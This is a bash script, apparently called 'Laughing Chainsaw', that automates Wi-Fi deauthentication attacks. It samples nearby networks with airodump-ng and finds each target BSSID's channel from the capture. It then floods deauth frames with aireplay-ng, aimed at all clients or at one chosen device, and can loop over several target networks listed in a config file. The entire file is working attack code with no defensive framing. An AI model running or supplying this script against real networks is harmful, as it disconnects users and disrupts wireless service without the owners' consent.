auto.sht

#!/bin/bash

# reading configs
source ./config.cfg
SCAN_TIME=$AUTO_SCAN_TIME
INJECTION_TIME=$AUTO_INJECTION_TIME
MULTI_BSSID=$AUTO_MULTI_BSSID
MULTI_LOOP_COUNT=$AUTO_MULTI_LOOP_COUNT

# pipe output to stdout and designated log file
exec > >(tee -a "$CHAINSAW_LOG") 2>&1

function sample(){
	IFACE=$1
	SCAN_TIME=$2

	# preliminary analysis of wireless network
	echo "Sampling wireless data"
	rm tempdump*
	airodump-ng -w tempdump --output-format csv --write-interval 3 --background 1 $IFACE & pid=$!
	sleep $SCAN_TIME
	kill "$pid"
	mv tempdump-01.csv tempdump.csv
}

function parse(){
	TARGET_BSSID=$1
	COLUMN=$2

	TARGET_X=$(grep "$TARGET_BSSID" tempdump.csv | awk -F, -v col="$COLUMN" '{sub(/^ *| *$/,"",$4); print $col}')

	echo $TARGET_X
}

function exec_deauth(){
	IFACE=$1
	TARGET_CHANNEL=$2
	TARGET_BSSID=$3
	INJECTION_TIME=$4
	TARGET_DEVICE=$5

	# set the channel of monitor interface
	iwconfig $IFACE channel $TARGET_CHANNEL

	if [ -z "$TARGET_DEVICE" ]
	then
		# if target device unspecified, deauth all devices
		aireplay-ng -0 0 -a $TARGET_BSSID $IFACE --ignore-negative-one & pid=$!
		sleep $INJECTION_TIME
		kill "$pid"
	else
		# if target device specified, deauth only speficied device
		aireplay-ng -0 0 -a $TARGET_BSSID -c $TARGET_DEVICE $IFACE --ignore-negative-one & pid=$!
		sleep $INJECTION_TIME
		kill "$pid"
	fi

	echo ""
	echo "deAuth frame injection finished"
}

# main start
function main(){
	IFACE=$1
	TARGET_BSSID=$2
	INJECTION_TIME=$3
	TARGET_DEVICE=$4

	# processing the datas, TARGET_BSSID at column 4
	echo "Parsing data"

	TARGET_CHANNEL=$(parse $TARGET_BSSID 4)

	# if target channel can't be found, just exit the script
	if [ -z "$TARGET_CHANNEL" ]; then
		echo "Target BSSID not found. Exiting."
	else
		# filter out more than two chars of the channel result, may caused by station section of the airodump-ng output
		TARGET_CHANNEL="${TARGET_CHANNEL:0:2}"

		# determine ESSID for informational purpose only
		TARGET_ESSID=$(parse $TARGET_BSSID 14)

		echo "Automated channel targeting..."
		echo "Target ESSID = $TARGET_ESSID"
		echo "Target BSSID = $TARGET_BSSID"
		echo "Target channel = $TARGET_CHANNEL"
		echo "Injecting deAuth frame for $INJECTION_TIME second(s)"

		exec_deauth $IFACE $TARGET_CHANNEL $TARGET_BSSID $INJECTION_TIME $TARGET_DEVICE
	fi	
}

# initial
echo ""
echo "------------------------- LAUGHING CHAINSAW ========================="
echo ""

# sample wireless data
sample $IFACE $SCAN_TIME

# determine if multi bssid mode is enabled
if [ "$MULTI_BSSID" -eq 1 ]; then
	echo "Multi BSSID mode enabled"
	MULTI_TARGET_BSSID=()
	while IFS= read -r line; do
		# Check if the line is not commented (does not start with #) and contains "TARGET_BSSID"
		if [[ ! $line =~ ^\# && $line =~ "TARGET_BSSID" ]]; then
			# Extract the value of TARGET_BSSID
			TARGET_BSSID=${line#*=}
			# Add the value to the array
			MULTI_TARGET_BSSID+=("$TARGET_BSSID")
		fi
	done < "config.cfg"

    for ((i = 1; i <= $MULTI_LOOP_COUNT; i++)); do
		for CURRENT_TARGET_BSSID in "${MULTI_TARGET_BSSID[@]}"; do
			echo ""
			echo "------------------------- TARGETING -------------------------"
			CURRENT_TARGET_BSSID="${CURRENT_TARGET_BSSID//\"/}"  # Remove double quotes
			echo "Current target BSSID = $CURRENT_TARGET_BSSID"
			main $IFACE $CURRENT_TARGET_BSSID $INJECTION_TIME $TARGET_DEVICE
			echo "------------------------- END -------------------------"
			echo ""
		done
	done
else
	echo "Normal mode"
	echo ""
	echo "------------------------- TARGETING -------------------------"
	main $IFACE $TARGET_BSSID $INJECTION_TIME $TARGET_DEVICE
	echo "------------------------- END -------------------------"
	echo ""
fi